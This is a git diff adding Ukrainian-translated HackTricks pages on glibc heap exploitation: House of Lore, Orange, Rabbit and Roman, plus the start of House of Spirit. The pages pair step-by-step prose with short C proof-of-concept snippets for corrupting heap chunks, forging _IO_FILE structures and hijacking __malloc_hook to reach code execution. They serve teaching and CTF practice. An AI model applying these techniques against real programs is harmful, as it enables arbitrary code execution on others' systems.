||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
### Код
|
||||
|
||||
* Перевірте [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* Це не працює
|
||||
* Або: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||
* Це також не працює, навіть якщо спробує обійти деякі перевірки, отримає помилку: `malloc(): unaligned tcache chunk detected`
|
||||
* Цей приклад все ще працює: [**https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html**](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html) 
|
||||
|
||||
### Мета
|
||||
|
||||
* Вставити **фальшивий малий чанк в small bin, щоб його можна було виділити**.\
|
||||
Зверніть увагу, що доданий малий чанк є фальшивим, створеним зловмисником, а не фальшивим у довільному положенні.
|
||||
|
||||
### Вимоги
|
||||
|
||||
* Створіть 2 фальшивих чанки та зв'яжіть їх разом та з легітним чанком у small bin:
|
||||
* `fake0.bk` -> `fake1`
|
||||
* `fake1.fd` -> `fake0`
|
||||
* `fake0.fd` -> `legit` (потрібно змінити вказівник у вивільненому малому чанку через якусь іншу уразливість)
|
||||
* `legit.bk` -> `fake0`
|
||||
|
||||
Після цього ви зможете виділити `fake0`.
|
||||
|
||||
### Атака
|
||||
|
||||
* Виділяється малий чанк (`legit`), потім виділяється ще один, щоб уникнути об'єднання з верхнім чанком. Потім `legit` вивільняється (переміщаючи його до списку неупорядкованих чанків) і виділяється більший чанк, **переміщаючи `legit` до small bin.**
|
||||
* Зловмисник генерує кілька фальшивих малих чанків та робить необхідне зв'язування для обходу перевірок на відповідність:
|
||||
* `fake0.bk` -> `fake1`
|
||||
* `fake1.fd` -> `fake0`
|
||||
* `fake0.fd` -> `legit` (потрібно змінити вказівник у вивільненому малому чанку через якусь іншу уразливість)
|
||||
* `legit.bk` -> `fake0`
|
||||
* Виділяється малий чанк, щоб отримати `legit`, роблячи **`fake0`** верхнім у списку малих чанків
|
||||
* Виділяється ще один малий чанк, отримуючи `fake0` як чанк, що потенційно дозволяє читати/писати вказівники всередині нього.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||
* [https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html](https://guyinatuxedo.github.io/40-house\_of\_lore/house\_lore\_exp/index.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
100
binary-exploitation/libc-heap/house-of-orange.md
Normal file
100
binary-exploitation/libc-heap/house-of-orange.md
Normal file
|
@ -0,0 +1,100 @@
|
|||
# House of Orange
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
### Код
|
||||
|
||||
* Знайдіть приклад за посиланням [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_orange.c)
|
||||
* Техніка експлуатації була виправлена у цьому [патчі](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0), тому це більше не працює (працює у версіях раніше 2.26)
|
||||
* Той самий приклад **з більшою кількістю коментарів** за посиланням [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
|
||||
|
||||
### Мета
|
||||
|
||||
* Зловживання функцією `malloc_printerr`
|
||||
|
||||
### Вимоги
|
||||
|
||||
* Перезаписати розмір верхнього чанка
|
||||
* Витоки libc та heap
|
||||
|
||||
### Контекст
|
||||
|
||||
Деяка необхідна інформація з коментарів з [**цього прикладу**](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)**:**
|
||||
|
||||
Справа в тому, що в старих версіях libc, коли була викликана функція `malloc_printerr`, вона **переглядала список структур `_IO_FILE`**, збережених у `_IO_list_all`, і фактично **виконувала** вказівник інструкцій у цій структурі.\
|
||||
Цей атака сфабрикує **фальшиву структуру `_IO_FILE`**, яку ми запишемо у **`_IO_list_all`**, і спричинить виконання `malloc_printerr`.\
|
||||
Потім вона **виконає будь-яку адресу**, яку ми зберегли у структурах **`_IO_FILE`**, та ми отримаємо виконання коду
|
||||
|
||||
### Атака
|
||||
|
||||
Атака починається з того, що вдається отримати **верхній чанк** всередині **несортованого біна**. Це досягається шляхом виклику `malloc` з розміром більшим за поточний розмір верхнього чанка, але меншим за **`mmp_.mmap_threshold`** (за замовчуванням 128K), що інакше спричинило б виділення через `mmap`. Кожного разу, коли розмір верхнього чанка змінюється, важливо забезпечити, що **верхній чанк + його розмір** вирівнюється за сторінку та що біт **prev\_inuse** верхнього чанка завжди встановлений.
|
||||
|
||||
Щоб отримати верхній чанк всередині несортованого біна, виділіть частину для створення верхнього чанка, змініть розмір верхнього чанка (з переповненням у виділеному чанку), щоб **верхній чанк + розмір** був вирівняний за сторінку з бітом **prev\_inuse** встановленим. Потім виділіть частину більшого розміру, ніж новий розмір верхнього чанка. Зверніть увагу, що `free` ніколи не викликається, щоб отримати верхній чанк у несортований бін.
|
||||
|
||||
Старий верхній чанк тепер знаходиться в несортованому біні. Припускаючи, що ми можемо читати дані всередині нього (можливо, через вразливість, яка також спричинила переповнення), можливо витікати адреси libc з нього та отримати адресу **\_IO\_list\_all**.
|
||||
|
||||
Атака на несортований бін виконується шляхом зловживання переповнення для запису `topChunk->bk->fwd = _IO_list_all - 0x10`. Коли виділяється новий чанк, старий верхній чанк буде розділений, і вказівник на несортований бін буде записаний у **`_IO_list_all`**.
|
||||
|
||||
Наступним кроком є зменшення розміру старого верхнього чанка, щоб він вмістився у малий бін, зокрема встановивши його розмір на **0x61**. Це служить двом цілям:
|
||||
|
||||
1. **Вставка в малий бін 4**: Коли `malloc` просканує несортований бін і побачить цей чанк, він спробує вставити його в малий бін 4 через його малий розмір. Це призводить до того, що чанк потрапляє на початок списку малого біна 4, який є місцем вказівника FD чанку **`_IO_list_all`**, оскільки ми записали близьку адресу в **`_IO_list_all`** через атаку на несортований бін.
|
||||
2. **Спричинення перевірки Malloc**: Ця маніпуляція розміром чанку призведе до виконання внутрішніх перевірок `malloc`. Коли він перевіряє розмір фальшивого впереднього чанку, який буде нульовим, він спричиняє помилку та викликає `malloc_printerr`.
|
||||
|
||||
Маніпуляція малим біном дозволить вам контролювати впередній вказівник чанку. Перекриття з **\_IO\_list\_all** використовується для створення фальшивої структури **\_IO\_FILE**. Структура уважно створена таким чином, щоб включати ключові поля, такі як `_IO_write_base` та `_IO_write_ptr`, встановлені на значення, які проходять внутрішні перевірки в libc. Крім того, у фальшивій структурі створюється таблиця стрибків, де вказівник інструкцій встановлений на адресу, де може бути виконаний довільний код (наприклад, функція `system`).
|
||||
|
||||
Підсумовуючи залишкову частину техніки:
|
||||
|
||||
* **Зменшити старий верхній чанк**: Відрегулюйте розмір старого верхнього чанка на **0x61**, щоб він вмістився у малий бін.
|
||||
* **Налаштувати фальшиву структуру `_IO_FILE`**: Перекрити старий верхній чанк фальшивою структурою **\_IO\_FILE** та встановити поля відповідним чином для перехоплення потоку виконання.
|
||||
|
||||
Наступним кроком є створення фальшивої структури **\_IO\_FILE**, яка перекривається зі старим верхнім чанком, що зараз знаходиться в несортованому біні. Перші байти цієї структури уважно створені таким чином, щоб включати вказівник на команду (наприклад, "/bin/sh"), яка буде виконана.
|
||||
|
||||
Ключові поля в фальшивій структурі **\_IO\_FILE**, такі як `_IO_write_base` та `_IO_write_ptr`, встановлені на значення, які проходять внутрішні перевірки в libc. Крім того, у фальшивій структурі створюється таблиця стрибків, де вказівник інструкцій встановлений на адресу, де може бути виконаний довільний код. Зазвичай це буде адреса функції `system` або іншої функції, яка може виконувати команди оболонки.
|
||||
|
||||
Атака завершується, коли виклик `malloc` спричиняє виконання коду через маніпульовану структуру **\_IO\_FILE**. Це ефективно дозволяє виконання довільного коду, що зазвичай призводить до запуску оболонки або виконання іншого зловмисного навантаження.
|
||||
|
||||
**Підсумок атаки:**
|
||||
|
||||
1. **Налаштувати верхній чанк**: Виділіть частину та змініть розмір верхнього чанка.
|
||||
2. **Примусити верхній чанк у несортований бін**: Виділіть більшу частину.
|
||||
3. **Витікання адрес libc**: Використовуйте вразливість для читання з несортованого біна.
|
||||
4. **Виконати атаку на несортований бін**: Записати у **\_IO\_list\_all** за допомогою переповнення.
|
||||
5. **Зменшити старий верхній чанк**: Відрегулюйте його розмір, щоб він вмістився у малий бін.
|
||||
6. **Налаштувати фальшиву структуру \_IO\_FILE**: Створіть фальшиву файлову структуру для перехоплення потоку управління.
|
||||
7. **Спричинення виконання коду**: Виділіть частину для виконання атаки та запуску довільного коду.
|
||||
|
||||
Цей підхід використовує механізми управління купою, витоки інформації з libc та переповнення купи для досягнення виконання коду без прямого виклику `free`. Шляхом уважного створення фальшивої структури **\_IO\_FILE** та розміщення її у відповідному місці атака може перехопити потік управління під час стандартних операцій виділення пам'яті. Це дозволяє виконання довільного коду, що потенційно призводить до запуску оболонки або інших зловмисних дій.
|
||||
## Посилання
|
||||
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
|
||||
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
113
binary-exploitation/libc-heap/house-of-rabbit.md
Normal file
113
binary-exploitation/libc-heap/house-of-rabbit.md
Normal file
|
@ -0,0 +1,113 @@
|
|||
# Будинок кролика
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Вимоги
|
||||
|
||||
1. **Можливість змінювати вказівник fd або розмір fast bin**: Це означає, що ви можете змінити впередній вказівник шматка в fastbin або його розмір.
|
||||
2. **Можливість викликати `malloc_consolidate`**: Це можна зробити або виділивши великий шматок, або об'єднавши верхній шматок, що змушує купу об'єднувати шматки.
|
||||
|
||||
### Цілі
|
||||
|
||||
1. **Створення перекриваючихся шматків**: Мати один шматок, який перекривається з іншим, що дозволяє подальші маніпуляції купою.
|
||||
2. **Фальшиві шматки**: Обманути алокатор, щоб він розглядав фальшивий шматок як законний під час операцій з купою.
|
||||
|
||||
## Кроки атаки
|
||||
|
||||
### POC 1: Зміна розміру шматка fast bin
|
||||
|
||||
**Мета**: Створення перекриваючого шматка шляхом маніпулювання розміром шматка fastbin.
|
||||
|
||||
* **Крок 1: Виділення шматків**
|
||||
```cpp
|
||||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||||
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
||||
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
||||
```
|
||||
* **Крок 2: Звільнення чанків**
|
||||
```cpp
|
||||
free(chunk1); // Frees the chunk at 0x602000
|
||||
free(chunk2); // Frees the chunk at 0x602050
|
||||
```
|
||||
* **Крок 3: Змінити Розмір Частини**
|
||||
```cpp
|
||||
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
||||
```
|
||||
Ми змінюємо метадані розміру `chunk1` на 0xa1. Це ключовий крок для обману алокатора під час консолідації.
|
||||
|
||||
* **Крок 4: Викликати `malloc_consolidate`**
|
||||
```cpp
|
||||
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
||||
```
|
||||
Виділення великого фрагмента спричиняє виклик функції `malloc_consolidate`, яка об'єднує невеликі фрагменти у швидкому блоці. Змінений розмір `chunk1` призводить до перекриття з `chunk2`.
|
||||
|
||||
Після консолідації `chunk1` перекривається з `chunk2`, що дозволяє подальшу експлуатацію.
|
||||
|
||||
### POC 2: Зміна вказівника `fd`
|
||||
|
||||
**Мета**: Створення фальшивого фрагмента шляхом маніпулювання вказівником `fd` швидкого блоку.
|
||||
|
||||
* **Крок 1: Виділення фрагментів**
|
||||
```cpp
|
||||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||||
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
||||
```
|
||||
**Пояснення**: Ми виділяємо два блоки, один менший і один більший, щоб налаштувати купу для фальшивого блоку.
|
||||
|
||||
* **Крок 2: Створення фальшивого блоку**
|
||||
```cpp
|
||||
chunk2[1] = 0x31; // Fake chunk size 0x30
|
||||
chunk2[7] = 0x21; // Next fake chunk
|
||||
chunk2[11] = 0x21; // Next-next fake chunk
|
||||
```
|
||||
* **Крок 3: Звільнення `chunk1`**
|
||||
```cpp
|
||||
free(chunk1); // Frees the chunk at 0x602000
|
||||
```
|
||||
**Пояснення**: Ми вивільняємо `chunk1`, додаючи його до списку fastbin.
|
||||
|
||||
* **Крок 4: Змінюємо `fd` `chunk1`**
|
||||
```cpp
|
||||
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
||||
```
|
||||
**Пояснення**: Ми змінюємо вказівник вперед (`fd`) `chunk1`, щоб він вказував на наш фальшивий чанк всередині `chunk2`.
|
||||
|
||||
* **Крок 5: Викликати `malloc_consolidate`**
|
||||
```cpp
|
||||
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
||||
```
|
||||
Виділення великого шматка знову спричинює виклик `malloc_consolidate`, який обробляє фейковий шматок.
|
||||
|
||||
Фейковий шматок стає частиною списку fastbin, роблячи його законним шматком для подальшої експлуатації.
|
||||
|
||||
### Огляд
|
||||
|
||||
Техніка **House of Rabbit** включає в себе зміну розміру шматка fast bin для створення перекриваючихся шматків або маніпулювання вказівником `fd` для створення фейкових шматків. Це дозволяє зловмисникам фальшивити законні шматки в купі, що дозволяє різноманітні форми експлуатації. Розуміння та практика цих кроків покращить ваші навички експлуатації купи.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте Хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
124
binary-exploitation/libc-heap/house-of-roman.md
Normal file
124
binary-exploitation/libc-heap/house-of-roman.md
Normal file
|
@ -0,0 +1,124 @@
|
|||
# Будинок Романа
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Це була дуже цікава техніка, яка дозволяла виконати RCE без витоку інформації через фейкові fastbins, атаку на unsorted\_bin та відносні перезаписи. Однак це було [**виправлено**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
|
||||
|
||||
### Код
|
||||
|
||||
* Приклад можна знайти за посиланням [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
|
||||
|
||||
### Мета
|
||||
|
||||
* RCE шляхом зловживання відносними вказівниками
|
||||
|
||||
### Вимоги
|
||||
|
||||
* Редагування вказівників fastbin та unsorted bin
|
||||
* Потрібно перебрати 12 бітів випадковості (шанс 0,02%), щоб все працювало
|
||||
|
||||
## Кроки атаки
|
||||
|
||||
### Частина 1: Fastbin Chunk вказує на \_\_malloc\_hook
|
||||
|
||||
Створіть кілька чанків:
|
||||
|
||||
* `fastbin_victim` (0x60, зміщення 0): пізніше UAF чанк для редагування вказівника кучі, щоб вказувати на значення LibC.
|
||||
* `chunk2` (0x80, зміщення 0x70): для хорошого вирівнювання
|
||||
* `main_arena_use` (0x80, зміщення 0x100)
|
||||
* `relative_offset_heap` (0x60, зміщення 0x190): відносне зміщення на чанку 'main\_arena\_use'
|
||||
|
||||
Потім `free(main_arena_use)`, що помістить цей чанк у список unsorted та отримає вказівник на `main_arena + 0x68` як у вказівниках `fd` та `bk`.
|
||||
|
||||
Тепер виділений новий чанк `fake_libc_chunk(0x60)`, оскільки він буде містити вказівники на `main_arena + 0x68` у вказівниках `fd` та `bk`.
|
||||
|
||||
Потім вільні `relative_offset_heap` та `fastbin_victim`.
|
||||
```c
|
||||
/*
|
||||
Current heap layout:
|
||||
0x0: fastbin_victim - size 0x70
|
||||
0x70: alignment_filler - size 0x90
|
||||
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
|
||||
0x170: leftover_main - size 0x20
|
||||
0x190: relative_offset_heap - size 0x70
|
||||
|
||||
bin layout:
|
||||
fastbin: fastbin_victim -> relative_offset_heap
|
||||
unsorted: leftover_main
|
||||
*/
|
||||
```
|
||||
*  `fastbin_victim` має `fd`, що вказує на `relative_offset_heap`
|
||||
*  `relative_offset_heap` - це зміщення від `fake_libc_chunk`, який містить вказівник на `main_arena + 0x68`
|
||||
* Просто змінивши останній байт `fastbin_victim.fd`, можна зробити так, щоб `fastbin_victim вказував` на `main_arena + 0x68`
|
||||
|
||||
Для попередніх дій зловмиснику потрібно мати можливість змінювати вказівник fd `fastbin_victim`.
|
||||
|
||||
Потім, `main_arena + 0x68` не настільки цікавий, тому змінимо його так, щоб вказівник вказував на **`__malloc_hook`**.
|
||||
|
||||
Зверніть увагу, що `__memalign_hook` зазвичай починається з `0x7f` і нулі перед ним, тому можна підробити його як значення в `0x70` швидкій біні. Оскільки останні 4 біти адреси **випадкові**, існує `2^4=16` можливостей для того, щоб значення закінчувалося там, де ми зацікавлені. Тому тут виконується атака BF, щоб частина закінчувалася так: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
|
||||
|
||||
(Для отримання додаткової інформації про решту байтів перевірте пояснення в [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[прикладі](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Якщо BF не працює, програма просто аварійно завершується (тому почніть знову, поки не вдасться).
|
||||
|
||||
Потім виконуються 2 виклики malloc для видалення 2 початкових швидких бінів, і третій виклик виконується для отримання частини в **`__malloc_hook:`**
|
||||
```c
|
||||
malloc(0x60);
|
||||
malloc(0x60);
|
||||
uint8_t* malloc_hook_chunk = malloc(0x60);
|
||||
```
|
||||
### Частина 2: Атака на unsorted\_bin
|
||||
|
||||
Для отримання додаткової інформації ви можете перевірити:
|
||||
|
||||
{% content-ref url="unsorted-bin-attack.md" %}
|
||||
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Але в основному це дозволяє записати `main_arena + 0x68` в будь-яке місце, вказане в `chunk->bk`. І для атаки ми вибираємо `__malloc_hook`. Потім, після перезапису, ми використаємо відносний перезапис, щоб вказати на `one_gadget`.
|
||||
|
||||
Для цього ми починаємо отримувати частину та поміщаємо її в **unsorted bin**:
|
||||
```c
|
||||
uint8_t* unsorted_bin_ptr = malloc(0x80);
|
||||
malloc(0x30); // Don't want to consolidate
|
||||
|
||||
puts("Put chunk into unsorted_bin\n");
|
||||
// Free the chunk to create the UAF
|
||||
free(unsorted_bin_ptr);
|
||||
```
|
||||
Використовуйте UAF у цьому фрагменті, щоб вказати `unsorted_bin_ptr->bk` на адресу `__malloc_hook` (ми раніше брутфорсили це).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу, що цей атака порушує невпорядкований бін (тому ми можемо **використовувати виділення лише зі швидкого біна** тепер) (більш складна програма може робити інші виділення та аваріювати), і для того, щоб спровокувати це, ми повинні **виділити ту саму кількість або програма аваріюється**.
|
||||
{% endhint %}
|
||||
|
||||
Таким чином, для спровокування запису `main_arena + 0x68` в `__malloc_hook` ми виконуємо після встановлення `__malloc_hook` в `unsorted_bin_ptr->bk` просто потрібно зробити: **`malloc(0x80)`**
|
||||
|
||||
### Крок 3: Встановлення \_\_malloc\_hook на систему
|
||||
|
||||
На першому кроці ми закінчили контролювати частину, що містить `__malloc_hook` (у змінній `malloc_hook_chunk`), а на другому кроці нам вдалося записати `main_arena + 0x68` сюди.
|
||||
|
||||
Тепер ми використовуємо частковий перезапис в `malloc_hook_chunk`, щоб використати адресу libc, яку ми там записали (`main_arena + 0x68`), для **вказівки адреси `one_gadget`**.
|
||||
|
||||
Тут потрібно **брутфорсити 12 бітів випадковості** (докладніша інформація в [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[прикладі](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)).
|
||||
|
||||
Нарешті, коли правильна адреса перезаписана, **викличте `malloc` та спровокуйте `one_gadget`**.
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_roman/)
|
140
binary-exploitation/libc-heap/house-of-spirit.md
Normal file
140
binary-exploitation/libc-heap/house-of-spirit.md
Normal file
|
@ -0,0 +1,140 @@
|
|||
# Будинок Духу
|
||||
|
||||
{% hint style="success" %}
|
||||
